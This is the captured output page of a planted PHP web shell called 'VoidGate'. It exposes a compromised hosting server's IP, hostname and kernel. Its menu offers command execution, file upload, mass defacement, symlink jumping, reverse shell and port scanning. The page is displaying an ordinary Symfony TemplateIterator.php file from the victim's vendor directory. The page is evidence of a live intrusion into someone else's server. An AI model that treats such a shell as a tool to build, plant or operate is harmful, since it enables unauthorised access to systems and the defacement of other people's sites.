ヤミRoot VoidGate
User / IP
:
216.73.216.110
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
itrave
/
api
/
vendor
/
symfony
/
symfony
/
src
/
Symfony
/
Bundle
/
TwigBundle
/
Viewing: TemplateIterator.php
<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Bundle\TwigBundle; use Symfony\Component\HttpKernel\KernelInterface; use Symfony\Component\Finder\Finder; /** * Iterator for all templates in bundles and in the application Resources directory. * * @author Fabien Potencier <fabien@symfony.com> */ class TemplateIterator implements \IteratorAggregate { private $kernel; private $rootDir; private $templates; private $paths; /** * @param KernelInterface $kernel A KernelInterface instance * @param string $rootDir The directory where global templates can be stored * @param array $paths Additional Twig paths to warm */ public function __construct(KernelInterface $kernel, $rootDir, array $paths = array()) { $this->kernel = $kernel; $this->rootDir = $rootDir; $this->paths = $paths; } /** * {@inheritdoc} */ public function getIterator() { if (null !== $this->templates) { return $this->templates; } $this->templates = $this->findTemplatesInDirectory($this->rootDir.'/Resources/views'); foreach ($this->kernel->getBundles() as $bundle) { $name = $bundle->getName(); if ('Bundle' === substr($name, -6)) { $name = substr($name, 0, -6); } $this->templates = array_merge( $this->templates, $this->findTemplatesInDirectory($bundle->getPath().'/Resources/views', $name), $this->findTemplatesInDirectory($this->rootDir.'/'.$bundle->getName().'/views', $name) ); } foreach ($this->paths as $dir => $namespace) { $this->templates = array_merge($this->templates, $this->findTemplatesInDirectory($dir, $namespace)); } return $this->templates = new \ArrayIterator(array_unique($this->templates)); } /** * Find templates in the given directory. * * @param string $dir The directory where to look for templates * @param string|null $namespace The template namespace * * @return array */ private function findTemplatesInDirectory($dir, $namespace = null) { if (!is_dir($dir)) { return array(); } $templates = array(); foreach (Finder::create()->files()->followLinks()->in($dir) as $file) { $templates[] = (null !== $namespace ? '@'.$namespace.'/' : '').str_replace('\\', '/', $file->getRelativePathname()); } return $templates; } }
Coded With 💗 by
0x6ick